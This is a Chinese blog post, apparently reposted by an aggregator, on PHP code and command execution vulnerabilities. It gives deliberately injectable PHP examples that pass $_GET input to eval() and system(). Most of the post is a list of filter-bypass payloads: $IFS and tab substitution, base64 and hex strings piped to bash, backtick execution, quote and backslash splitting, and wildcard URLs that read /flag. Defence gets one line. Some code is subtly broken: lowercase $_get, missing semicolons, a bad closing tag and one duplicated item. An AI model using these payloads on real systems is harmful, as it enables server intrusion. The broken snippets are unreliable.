RCE与命令执行从产生到防御
Posted KD_du
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了RCE与命令执行从产生到防御相关的知识,希望对你有一定的参考价值。
rce执行和命令执行漏洞
eval()函数将传进来的参数当作php代码进行解析
Rce代码漏洞示例
<?php
$code=$_get['x'];
eval($code) //代码执行
>
命令执行漏洞代码示例
<?php
$code=$_get['x'];
echo system($code) //命令执行
>
代码执行形成条件
1、可控变量
2、漏洞函数
产生
web源码 thinkphp webmin
中间件平台
其他环境
poc验证漏洞,exp利用漏洞
防御:
敏感函数禁用,变量过滤或固定,waf产品
rce漏洞函数
eval()、assert()、preg_replace()、**$**
注意: $执行代码(在 双引号 中倘若有$出现,那么内的内容将被当做php代码块来执行。)
方法:$php代码
命令执行函数
system() :
shell_exec():
exec():
passthru():
空格被绕过
< 、<>、%09(tab键)、%20、$IFS$9、$IFS$1、$IFS、$IFS等,还可以用 比如 cat,flag
关键字绕过
1.URL编码绕过
关于$_SERVER['QUERY_STRING'],他验证的时候是不会进行url解码的,但是在GET的时候则会进行url解码,所以我们只需要将关键词进行url编码就能绕过。
2.Base64编码绕过
echo MTIzCg==|base64 -d 其将会打印123 //MTIzCg==是123的base64编码
echo "Y2F0IC9mbGFn"|base64 -d|bash 将执行了cat /flag //Y2F0IC9mbGFn是cat /flag的base64编码
echo "bHM="|base64 -d|sh 将执行ls
3、hex编码绕过
echo "636174202f666c6167"|xxd -r -p|bash 将执行cat /flag
$(printf "\\x63\\x61\\x74\\x20\\x2f\\x66\\x6c\\x61\\x67") 执行cat /flag
printf,"\\x63\\x61\\x74\\x20\\x2f\\x66\\x6c\\x61\\x67"|$0 执行cat /flag
4、Oct编码绕过
$(printf "\\154\\163") 执行ls
5、偶读拼接绕过
$(printf "\\154\\163") 执行ls
6、内联执行绕过
echo "a`pwd`" #输出a/root
?ip=127.0.0.1;cat$IFS$9`ls`
7、引号绕过
ca""t => cat
mo""re => more
in""dex => index
ph""p => php
8、通配符绕过
假设flag在/flag中:
/?url=127.0.0.1|ca""t%09/fla?
/?url=127.0.0.1|ca""t%09/fla*
假设flag在/flag.txt中:
/?url=127.0.0.1|ca""t%09/fla????
/?url=127.0.0.1|ca""t%09/fla*
假设flag在/flags/flag.txt中:
/?url=127.0.0.1|ca""t%09/fla??/fla????
/?url=127.0.0.1|ca""t%09/fla*/fla*
9、反斜杠绕过
ca\\t => cat
mo\\re => more
in\\dex => index
ph\\p => php
n\\l => nl
10、匹配绕过
c[a]t => cat
mo[r]e => more
in[d]ex => index
p[h]p => php
以上是关于RCE与命令执行从产生到防御的主要内容,如果未能解决你的问题,请参考以下文章